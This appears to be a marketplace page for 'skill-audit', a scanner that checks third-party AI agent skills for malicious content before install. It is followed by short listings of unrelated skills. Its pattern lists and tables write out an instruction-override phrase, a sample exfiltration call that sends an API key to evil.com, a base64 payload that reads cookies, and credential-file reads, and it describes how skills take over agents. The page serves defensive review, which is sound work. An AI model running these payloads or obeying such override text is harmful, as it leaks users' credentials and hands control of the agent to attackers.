bundled-skills/skill-audit/SKILL.md
Pre-install security scanner for AI agent skills. 7.5% of 14,706 skills are malicious. Audit before you trust.
npx skillsauth add FrancoStino/opencode-skills-antigravity skill-auditInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
7.5% of 14,706 OpenClaw skills are confirmed malicious. This skill provides a structured 6-phase security review you run before installing any third-party skill.
Research findings (2026):
Pattern detection in SKILL.md:
ignore previous instructions, you are now...fetch(), curl, wget to unknown domainsatob(), base64 strings~/.env, process.env + network callsRead every referenced script:
Check if permissions match purpose:
Detect manipulation tactics:
Evaluate author/repo credibility:
Risk score + recommendation:
User: I want to install fancy-tool from github.com/suspicious-author/fancy-tool
Agent runs skill-audit:
📋 Surface Scan: 🚨 3 critical patterns
- download-pipe-shell pattern found
- References ~/.env
- External fetch to unknown domain
📁 Script Check: 🚨 scripts/install.sh
- Contains base64-encoded payload
- Makes HTTP POST to 192.168.x.x
🔑 Permissions: 🚨 Excessive
- Claims "format code"
- But reads ~/.ssh/id_rsa
Risk Score: 92/100 🔴 CRITICAL
Recommendation: 🚫 DO NOT INSTALL
User: Install this skill from github.com/trusted-author/useful-skill
Agent runs skill-audit:
📋 Surface Scan: ✅ No critical patterns
📁 Script Check: ✅ No scripts referenced
🔑 Permissions: ✅ Minimal (read/write in project dir)
📊 Repo Intel: ✅ Trusted author, 2+ years active
Risk Score: 12/100 ✅ LOW RISK
Recommendation: ✅ Safe to install
| Pattern | Example | Risk |
|---------|---------|------|
| Instruction override | ignore previous instructions | Agent takeover |
| External data exfil | fetch('http://evil.com?token=' + env.API_KEY) | Credential theft |
| Shell pipe | download piped into a shell interpreter | Arbitrary execution |
| Encoded payloads | atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ==') | Hidden commands |
| Credential reads | ~/.env, process.env + network | Key theft |
| Self-replication | "install in all repos" | Persistence spread |
| Pattern | Concern | |---------|---------| | Role manipulation | Changes agent identity | | Hidden instructions | Invisible commands in comments | | Undocumented scripts | SKILL.md references hidden scripts | | Broad permissions | Excessive file/network access | | Domain ambiguity | Domain takeover risk | | Unpinned deps | Supply chain vulnerability |
From documented incidents:
clawhub1, clawbhub → fake official CLI, macOS binary to raw IPThis skill is adapted from aptratcn/skill-audit — MIT licensed.
research
Skill for academic research workflows: search Semantic Scholar (200M+ papers), inspect citations, download arXiv PDFs, and extract PDF text. Bundles a self-contained Python CLI.
development
Turns vague prompts into 8 structured planning files for brand new projects. DO NOT use on existing codebases.
development
Maps code, architecture, and infrastructure changes to specific control IDs in PCI-DSS v4.0 and MAS TRM (Singapore financial regulator), producing an audit-traceable findings report with per-control remediation.
testing
Companion to atlas-contract. Auto-invoked by its Final Audit on caught drift; also use after Post Reviews or user requests to record a mistake. Distills drift into WHEN/DON'T/INSTEAD clauses, writes to Atlas.md after confirmation.